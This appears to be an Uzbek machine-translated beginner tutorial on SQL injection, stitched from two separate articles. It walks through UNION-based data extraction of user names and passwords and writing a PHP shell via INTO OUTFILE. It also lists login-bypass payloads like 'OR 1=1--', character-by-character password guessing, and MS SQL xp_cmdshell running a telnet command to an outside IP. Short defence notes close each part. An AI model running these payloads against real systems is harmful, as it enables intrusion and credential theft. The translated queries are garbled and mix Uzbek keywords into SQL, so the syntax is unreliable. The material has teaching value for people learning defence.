XAMYONINGIZDAN 100 RUB OLING VA Vasyaga BERING

Ota notani yomon yozganligi sababli (qo'l yozuvi noaniq) va uni stolga qo'yib yuborganligi sababli, Vasyaning ukasi Petya buni ko'rdi. Petya xaker bo'lib, u erga "YOKI Pit" ni qo'shdi va natija quyidagi so'rov bo'ldi:
HAMYONINGIZDAN 100 RUB OLING VA Vasya yoki Petyaga BERING

Onam eslatmani o'qib chiqqach, kecha Vasyaga pul berdi va Petyaga 100 rubl berdi. Mana hayotdan SQL in'ektsiyasining oddiy misoli:) Ma'lumotlarni filtrlamasdan (onam qo'l yozuvini zo'rg'a tushunardi), Petya foyda ko'rdi.

Tayyorgarlik
Amaliyot uchun sizga ushbu maqola uchun manba skriptlari bilan arxiv kerak bo'ladi. Uni yuklab oling va uni serverda oching. Shuningdek, ma'lumotlar bazasini import qiling va fayldagi ma'lumotlarni o'rnating cfg.php

SQL in'ektsiyasini qidiring

Siz allaqachon tushunganingizdek, in'ektsiya filtrlanmagan kiruvchi ma'lumotlardan keladi. Eng keng tarqalgan xato - uzatilgan identifikatorni filtrlamaslik. Xo'sh, qo'pol qilib aytganda, barcha sohalarda tirnoq qo'ying. Bu GET/POST so'rovi yoki hatto Cookie bo'lsin!

Raqamli kiritish parametri
Amaliyot uchun bizga skript kerak index1.php. Yuqorida aytganimdek, biz yangiliklar identifikatoriga tirnoq kiritamiz.

Chunki Bizning so'rovimizda filtrlash yo'q:

$id = $_GET["id"]; $query = "Tanlash * FROM news WHERE id=$id";

Skript buni shunday tushunadi

IND=1 boʻlgan yangiliklardan * TANLANING.

Va bu bizga xato beradi:
Ogohlantirish: mysql_fetch_array() 16-qatorda C:\WebServ\domains\sqlinj\index1.php da berilgan boolean 1-parametrni resurs bo'lishini kutadi.

Agar xato ko'rinmasa, quyidagi sabablar bo'lishi mumkin:

1.SQL in'ektsiyasi bu yerda yo'q - qo'shtirnoqlar filtrlanadi yoki shunchaki o'zgartirishga arziydi (int)
2. Xato chiqishi o'chirilgan.

Agar siz hali ham xatoga duch kelsangiz - Hurray! Biz SQL in'ektsiyasining birinchi turini topdik - Raqamli kiritish parametri.

String kiritish parametri

Biz so'rovlarni yuboramiz index2.php. Ushbu faylda so'rov quyidagicha ko'rinadi:
$user = $_GET["user"]; $query = "TANLASH * FROM news WHERE user="$user"";

Bu erda biz foydalanuvchi nomi bo'yicha yangiliklarni tanlaymiz va yana filtrlamaymiz.
Biz yana taklif bilan so'rov yuboramiz:

Xato berdi. KELISHDIKMI! Bu zaiflik mavjudligini anglatadi. Yangi boshlanuvchilar uchun biz uchun bu etarli - keling, mashg'ulotlarga o'taylik.

Keling, chora ko'raylik

Bir oz nazariya

Ehtimol, siz xatolardan boshqa biror narsa olishni kuta olmaysiz. Birinchidan, belgi ekanligini tushuning " -- " SQLda izoh sifatida qabul qilinadi.

DIQQAT! Undan oldin va keyin bo'sh joy bo'lishi kerak. URLda ular sifatida uzatiladi %20

Izohdan keyin kelgan hamma narsa o'chiriladi, ya'ni so'rov:
TANLASH * FROM news WHERE user="AlexanderPHP" -- habrahabra

Bu muvaffaqiyatga erishadi. Buni index2.php skriptida shunday so'rov yuborish orqali sinab ko'rishingiz mumkin:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Parametrni bilib oling UNION. SQL tilida kalit so'z UNION ikkita SQL so'rovi natijalarini bitta jadvalga birlashtirish uchun ishlatiladi. Ya'ni, bizga kerak bo'lgan narsani boshqa stoldan tortib olish uchun.

Keling, bundan foydalanaylik

Agar parametr "Raqamli" bo'lsa, biz so'rovga taklif yuborishimiz shart emas va tabiiy ravishda oxirida sharh qo'yishimiz kerak. Keling, skriptga qaytaylik index1.php.

Keling, sqlinj/index1.php?id=1 UNION SELECT 1 skriptiga murojaat qilaylik. Bizning ma'lumotlar bazasi so'rovimiz quyidagicha ko'rinadi:
TANLASH * FROM news WHERE id=1 UNION SELECT 1
Va u bizga xato qildi, chunki ... so'rovlarni birlashtirish bilan ishlash uchun bizga bir xil miqdordagi maydonlar kerak.

Chunki Birinchi so'rovda ularning soniga ta'sir qila olmaymiz, keyin ikkinchisida ularning raqamini birinchisiga teng bo'lishi uchun tanlashimiz kerak.

Maydonlar sonini tanlash

Maydonlarni tanlash juda oddiy, quyidagi so'rovlarni yuborish kifoya:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Xato…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Yana xato!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Xato yo'q! Bu ustunlar soni 5 tani anglatadi.

GURUH BO'YICHA
Ko'pincha 20 yoki 40 yoki hatto 60 ta maydon bo'lishi mumkin. Ularni har safar saralab o'tirmaslik uchun biz foydalanamiz GURUH BO'YICHA

Agar so'rov bo'lsa
sqlinj/index1.php?id=1 GROUP BY 2
hech qanday xato koʻrsatilmadi, yaʼni maydonlar soni 2 dan ortiq. Keling, harakat qilib koʻraylik:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, biz xatoni ko'rmoqdamiz, bu maydonlar soni 8 dan kam degan ma'noni anglatadi.

Agar GROUP BY 4 da xato bo'lmasa va GROUP BY 6 da xato bo'lsa, maydonlar soni 5 ga teng.

Chiqish ustunlarini aniqlash
Birinchi so'rovdan bizga hech narsa ko'rsatilmasligini ta'minlash uchun mavjud bo'lmagan identifikatorni almashtirish kifoya, masalan:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Ushbu harakat bilan biz sahifada qaysi ustunlar ko'rsatilishini aniqladik. Endi ushbu raqamlarni kerakli ma'lumotlar bilan almashtirish uchun siz so'rovni davom ettirishingiz kerak.

Ma'lumotlar chiqishi

Aytaylik, jadval hali ham borligini bilamiz foydalanuvchilar maydonlar mavjud id, nomi Va o'tish.
ID=1 bo'lgan foydalanuvchi haqida ma'lumot olishimiz kerak

Shunday qilib, keling, quyidagi so'rovni tuzamiz:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM foydalanuvchilar id=1
Skript ham chiqishda davom etadi

Buning uchun biz 1 va 3 raqamlari o'rniga maydonlarning nomlarini qo'yamiz.

Sqlinj/index1.php?id=-1 UNION SELECT nomi,2,pas,4,5 FROM foydalanuvchilar QERDA id=1
Biz kerakli narsani oldik!

Skriptdagi kabi "string kiritish parametri" uchun index2.php boshida qo'shtirnoq belgisini va oxirida sharh belgisini qo'shishingiz kerak. Misol:
sqlinj/index2.php?user=-1" UNION SELECT nomi,2,pas,4,5 FROM foydalanuvchilar id=1 --%20

Fayllarni o'qish/yozish

Fayllarni o'qish va yozish uchun ma'lumotlar bazasi foydalanuvchisi FILE_PRIV huquqlariga ega bo'lishi kerak.
Fayllarni yozib olish
Aslida, hamma narsa juda oddiy. Fayl yozish uchun funksiyadan foydalanamiz OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 OUTFILE "1.php" --%20
Ajoyib, fayl bizda ro'yxatdan o'tgan. Shunday qilib, biz mini-qobiqni to'ldirishimiz mumkin:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Fayllarni o'qish
Fayllarni o'qish yozishdan ham osonroq. Funktsiyadan oddiygina foydalanish kifoya LOAD_FILE, biz tanlagan maydon joyi uchun:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Shunday qilib, biz oldingi yozilgan faylni o'qib chiqdik.

Himoya qilish usullari

O'zingizni himoya qilish zaiflikdan foydalanishdan ham osonroqdir. Faqat ma'lumotlarni filtrlang. Agar siz raqamlarni uzatayotgan bo'lsangiz, foydalaning
$id = (int) $_GET["id"];
Foydalanuvchi malroc taklif qilganidek. PDO yoki tayyorlangan bayonotlar yordamida o'zingizni himoya qiling.

Tugatish o'rniga

Bu erda men "yangi boshlanuvchilar uchun SQL in'ektsiyasi" haqidagi birinchi qismimni tugatmoqchiman. Ikkinchisida biz in'ektsiyalarning yanada jiddiy misollarini ko'rib chiqamiz. Zaif skriptlarni yozishga va so'rovlarni o'zingiz bajarishga harakat qiling.
Va unutmang, saytingizning hech bir foydalanuvchisiga ishonmang.

Teglar: teglar qo'shish

SQL in'ektsiyasi xaker uchun juda yaxshi imkoniyat
serverga kirish. Va bir oz harakat bilan, u
hali ham tushunadi :)

Ichkarida kodlovchi

Hozirgi vaqtda ma'lumotlar bazalari bilan ishlash qo'llab-quvvatlanadi
deyarli barcha dasturlash tillari, bularga BASIC, C++, Java, PERL, PHP, Assembler va hatto JavaScript ham kiradi! Va bu dasturlar DBMS - ma'lumotlar bazasini boshqarish tizimlaridan boshqa narsa deb ataladi. Ma'lumotlar bazalari ko'pincha moliyaviy muammolarni hal qilish uchun ishlatiladi,
buxgalteriya hisobi, xodimlarni tashkil etish, lekin ular ham Internetda o'z arizalarini topdilar.

Ma'lumotlar bazalari ko'pincha WEB ilovalarini yozish uchun ishlatiladi. Ulardan foydalanish foydalanuvchi ro'yxatga olish ma'lumotlarini, sessiya identifikatorlarini saqlash, qidiruvlarni tashkil qilish, shuningdek, ko'proq ishlov berishni talab qiladigan boshqa vazifalar uchun eng mos keladi.
ma'lumotlar miqdori. Ma'lumotlar bazasiga kirish uchun server texnologiyalari qo'llaniladi: PHP, PERL, ASP va boshqalar. Qiziq shu erda boshlanadi. Serverda bo'lganda
barcha yamalar o'rnatilgan va xavfsizlik devori 80-portdan tashqari barcha portlarni bloklaydi yoki ba'zi ma'lumotlarga kirish uchun autentifikatsiya zarur bo'lsa, xaker buzib kirish uchun SQL Injection-dan foydalanishi mumkin. Ushbu hujumning mohiyati WEB texnologiyalari va SQL kesishmasidagi xatolikdan foydalanishdir. Gap shundaki, foydalanuvchi ma'lumotlarini qayta ishlash uchun mo'ljallangan ko'plab veb-sahifalar maxsus shaklga ega SQL ma'lumotlar bazasi so'rovi. Ushbu texnikadan ehtiyotsiz foydalanish juda qiziqarli natijalarga olib kelishi mumkin ...

SQL in'ektsiyasi

Hujumni tushuntirish uchun, tasavvur qilaylik, siz bitta juda muhim vositani yuklab olish uchun saytga kirgansiz va dahshat bilan buni faqat ro'yxatdan o'tgan foydalanuvchi amalga oshirishi mumkinligini va ro'yxatdan o'tish, albatta, pul talab qiladi :) Siz berishni xohlamaysiz. oxirgi ishlagan pulingiz, lekin dastursiz buni qila olmaysiz! Qanday qilib eslash vaqti keldi
ma'lumotlar bazalariga kirish SQL. Masalan, PHP da login va parolingizni tekshirish quyidagicha ko'rinishi mumkin:

$result=mysql_db_query($db,"FROM * $jadval QAYERDA user="$login" VA
pass="$parol"");
$num_rows=mysql_num_rows($natija);
mysql_close($link);
agar ($num_satr!=0)
{
// AUTENTifikatsiya OK
}
boshqa
{
// AUTENTifikatsiya XATOSI
}

Men ikkita izoh qo'shdim, "AUTENTICATION OK" - uni almashtirishim kerak
parol va login to'g'ri bo'lsa, bajariladigan kodga o'ting. Yana bir "AUTENTifikatsiya XATOSI" - bu noto'g'ri bo'lsa, bajariladigan kod tasvirlangan joy. Shaklni to'ldirsangiz, so'rov "http://www.server.com?login=user&password=31337" kabi ko'rinadi, bu erda www.server.com nomi.
biz ulanishga harakat qilayotgan server. Biz izlagan narsamizni topdik, shuning uchun biz yana ishga qaytamiz SQL. Shunday qilib, agar siz avtorizatsiya uchun login va parolni ko'rsatishingiz kerak bo'lsa, u holda yaratilgan SQL so'rov quyidagicha ko'rinadi:

Foydalanuvchilardan * ni tanlang login="user" VA
parol = "31337"

Bu shunga o'xshash narsani anglatadi: login "foydalanuvchi" va parol "31337" bo'lgan foydalanuvchilar ma'lumotlar bazasidagi barcha yozuvlarni menga qaytaring. Agar bunday yozuv mavjud bo'lsa, u holda foydalanuvchi ro'yxatdan o'tgan, lekin agar yo'q bo'lsa, unda yo'q ... Lekin muayyan sharoitlarda hamma narsa tuzatilishi mumkin. Bu dastur uzatilgan ma'lumotlarning tarkibini tekshirmasa yoki uning mavjudligini to'liq tekshirmasa vaziyatni anglatadi. SQL ko'rsatmalar. Ushbu misolda login va parol ikkita maydon tekshiriladi, lekin agar siz parol sifatida “31337′ VA email=” ni belgilasangiz [elektron pochta himoyalangan]”(ikki tirnoqsiz), keyin so'rov biroz boshqacha bo'ladi:

login="user" VA password="31337" VA QAYERDAGI foydalanuvchilar orasidan * ni tanlang
email=" [elektron pochta himoyalangan]"

Va agar elektron pochta maydoni mavjud bo'lsa, bu holat ham tekshiriladi. Agar siz mantiqiy algebra asoslarini eslayotgan bo'lsangiz, "va" operatsiyasidan tashqari, "yoki" ham borligi xayolingizga keladi va ulardan foydalanish SQL tomonidan qo'llab-quvvatlanganligi sababli, siz
tasvirlangan usulda har doim rost qaytaradigan shart qo'shing. Buning uchun login sifatida “foydalanuvchi” YOKI 1=1— ni belgilashingiz kerak, bu holda so‘rov quyidagi shaklda bo‘ladi:

login="user" YOKI 1=1--" VA QAYERDAGI foydalanuvchilardan * ni tanlang
parol = "31337"

Avval bilishingiz kerakki, "-" so'rovning oxirini anglatadi va "-" dan keyin hamma narsa.
qayta ishlanmaydi! Ma'lum bo'lishicha, biz iltimos qilganmiz:

login = "foydalanuvchi" YOKI 1=1 QAYERDAGI foydalanuvchilardan * ni tanlang

Ko‘rib turganingizdek, biz “1=1” shartini qo‘shdik, ya’ni tekshirish mezoni “agar login “foydalanuvchi” bo‘lsa yoki 1=1 bo‘lsa”, lekin 1 har doim 1 ga teng bo‘ladi (yagona istisno Dani Shepovalov arifmetikasi bo‘lishi mumkin). :)). Bizning shubhalarimizni tekshirish uchun
Manzil satriga “http://www.server.com?login=user yoki 1=1—&password=31337” kiriting. Bu qaysi loginni ko'rsatganimiz muhim emasligiga olib keladi, lekin
ayniqsa parol! Va biz matritsadamiz ... oh, tizimda va bizga kerak bo'lgan narsalarni xotirjam yuklab olishimiz mumkin.

Ammo bularning barchasi nazariy jihatdan. Amalda biz so'rov qanday shakllantirilishi, qanday ma'lumotlar va qanday ketma-ketlikda uzatilishini bilmaymiz. Shuning uchun barcha maydonlar uchun “foydalanuvchi” YOKI 1=1—”ni belgilash kerak. Yashirin maydonlar uchun ariza formasini ham tekshirishingiz kerak. HTMLda ular " " Agar mavjud bo'lsa, sahifani saqlang va ushbu maydonlarning qiymatlarini o'zgartiring. Ularda mavjud bo'lgan qiymatlar ko'pincha SQL iboralari mavjudligini tekshirishni unutadi. Lekin hamma narsa ishlashi uchun "ACTION" parametri uchun ushbu so'rovni shaklda ("FORM" yorlig'i) qayta ishlaydigan skriptga to'liq yo'lni belgilashingiz kerak.

Ammo so'rov qanday shakllanganligi har doim ham ma'lum emas,
Oldingi misol quyidagi yo'llar bilan tuzilishi mumkin:

QAYERDAGI foydalanuvchilardan * ni tanlang (login="foydalanuvchi" VA parol="31337")
login = "foydalanuvchi" VA parol = "31337" QAYERDAGI foydalanuvchilar orasidan * ni tanlang
login=foydalanuvchi VA parol=31337 QAYERDA FOYDALANILGANLARDAN * TANLANING

Bunday holda siz quyidagi variantlarni sinab ko'rishingiz mumkin:

‘YOKI 1=1—
» YOKI 1=1—
YOKI 1=1—
‘ YOKI ‘a’=’a
"YOKI "a"="a
‘) YOKI (‘a’=’a
YOKI '1'='1'

Bularning barchasi skriptning maqsadiga va dasturchiga bog'liq. Har bir inson hamma narsani o'ziga xos tarzda qilishga moyil bo'lganligi sababli, dasturchi eng oson variantni tanlamasligi mumkin. Shuning uchun darhol qilmaslik kerak
agar siz rad etsangiz, taslim bo'ling. Kerakli
iloji boricha ko'proq variantlarni sinab ko'ring ...

Parolni aniqlash

Avtorizatsiyani chetlab o'tish yomon emas, lekin ko'pincha siz foydalanayotgan teshik yopiladi va siz uchun mavjud bo'lgan hamma narsa yo'qoladi.
Agar dasturchi ahmoq bo'lmasa, buni kutish kerak
Vaqt o'tishi bilan u barcha bo'shliqlarni yopadi. Oldindan g'amxo'rlik qilsangiz, bunday vaziyatlardan osongina xalos bo'lishingiz mumkin. To'g'ri yechim parolni taxmin qilish bo'lishi mumkin
autentifikatsiya natijalarini tahlil qilish. Birinchidan, parolni taxmin qilishga harakat qilaylik, buning uchun uning manzilini kiriting:

‘YOKI parol>’a

Agar bizga avtorizatsiya qilinganligi aytilsa, u holda parol
"a" harfi bilan boshlanmaydi, lekin ro'yxatdagi quyidagilardan biri bilan boshlanadi. Keling, davom etaylik va almashtiramiz
"a", keyingi "b", "c", "d", "e" ... va hokazolarni joylashtiring. ular bizga parol to'g'ri emasligini aytmaguncha. Ushbu jarayon "x" belgisida to'xtasin, bu holda vaziyatni rivojlantirish uchun ikkita variant yaratiladi: parol topiladi yoki parol ushbu belgi bilan boshlanadi. Birinchi variantni tekshirish uchun parol manzilini yozing:

‘YOKI parol =’x

va agar parol qabul qilingan bo'lsa va sizga kirishga ruxsat berilsa, siz parolni taxmin qildingiz! Xo'sh, yo'q, unda siz ikkinchi belgini tanlashingiz kerak,
aynan bir xil, boshidan. Ikkita belgi borligini tekshiring
xuddi shunday kerak. Oxir-oqibat, siz parol olasiz va xuddi shu tarzda loginni qidirasiz :)
Agar topilgan parol va login sizga mos kelmasa, boshqalarni topishingiz mumkin. Buning uchun topilgan parolning oxirgi belgisidan tekshirishni boshlashingiz kerak. Shunday qilib, agar parol "xxx" bo'lsa, parol mavjudligini tekshirish kerak
"xxxy":

‘YOKI parol =’xxx

bir nechta variantni o'tkazib yubormaslik uchun!

MS SQL Server

Agar kerakli filtrlash o'tkazib yuborilgan bo'lsa, MS SQL Server odatda xudoning ne'matidir. SQL Injection zaifligidan foydalanib, siz bajarishingiz mumkin
exec master..xp_cmdshell yordamida masofaviy serverdagi buyruqlar. Lekin bu dizayndan foydalanish uchun
SELECT operatsiyasi tugallanishi kerak. SQLda bayonotlar nuqtali vergul bilan ajratiladi. Shuning uchun, Telnet orqali ba'zi IP-ga ulanish uchun siz parol/login manzilini kiritishingiz kerak:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Serverda ma'lumotlar bazasida saqlangan login va parollarni aniqlash imkonini beruvchi yana bir qancha qiziqarli funksiyalar mavjud. Buning uchun xato chiqishi ixtiyoriy serverga va ular orqali yo'naltiriladi
tahlil qilish orqali siz jadval nomini, maydonlarni va ularning turlarini bilib olishingiz mumkin. Shundan so'ng siz so'rov yuborishingiz mumkin

‘UNION SELECT TOP 1 login FROM foydalanuvchilar—

(login - loginni o'z ichiga olgan maydon nomi va foydalanuvchilar - jadval nomi,
xatolarni tahlil qilish jarayonida yarim olimlar).

Javob quyidagicha bo'lishi mumkin:


nvarchar qiymatini konvertatsiya qilishda sintaktik xatolik yuz berdi "admin" to a column of data type int. !}
/default.asp, 27-qator

Endi biz "admin" ismli foydalanuvchi borligini bilamiz. Endi biz uning parolini olamiz:

‘UNION TOP 1 parolni login=’admin’— foydalanuvchilardan TANLASH

Natija:

ODBC drayverlari uchun Microsoft OLE ma'lumotlar bazasi provayderi xatosi "80040e07"
"xxx.) nvarchar qiymatini oʻzgartirishda sintaksis xatosi" to a column of data type int. !}
/tedault.asp, 27-qator

Endi biz "xxx" paroliga ega "admin" foydalanuvchisi borligini bilamiz. Shu bilan siz xavfsiz tarzda qila olasiz
undan foydalaning va tizimga kiring 😉

Ammo SQL bilan ishlash uchun boshqa ko'plab funktsiyalar mavjud,
Ma'lumotlar bazasi bilan ishlashda siz ma'lumotlarni o'chirishingiz, o'zgartirishingiz, o'zingiznikinikini kiritishingiz va hatto fayllarni boshqarishingiz va ro'yxatga olish kitobi bilan ishlashingiz mumkin.
Umuman olganda, SQL Server qoidalari :)

Himoya

Lekin, albatta, bularning barchasidan qochish mumkin. Buning uchun siz mumkin
filtrlardan foydalanish,
ishlab chiqaruvchilar tomonidan taqdim etiladi. Siz o'zingizning echimlaringizni topishingiz mumkin, masalan, barchasini almashtirish
qo'sh tirnoq (agar uchun SQL iltimos, biz bittadan foydalanamiz) yoki aksincha. Agar siz kiritishingiz kerak bo'lsa, faqat harflar va s@baki dan foydalanishga ruxsat berishingiz mumkin
elektron manzil. Va marvaridda ajoyib narsa bor
DBI::DBD modulidagi 🙂 quote() funktsiyasi, bu sizning so'rovingizni quyidagiga nisbatan xavfsiz qiladi. SQL. Ko'p echimlar mavjud, ular sizga kerak
foyda olish. Aks holda, nima uchun bularning barchasi ...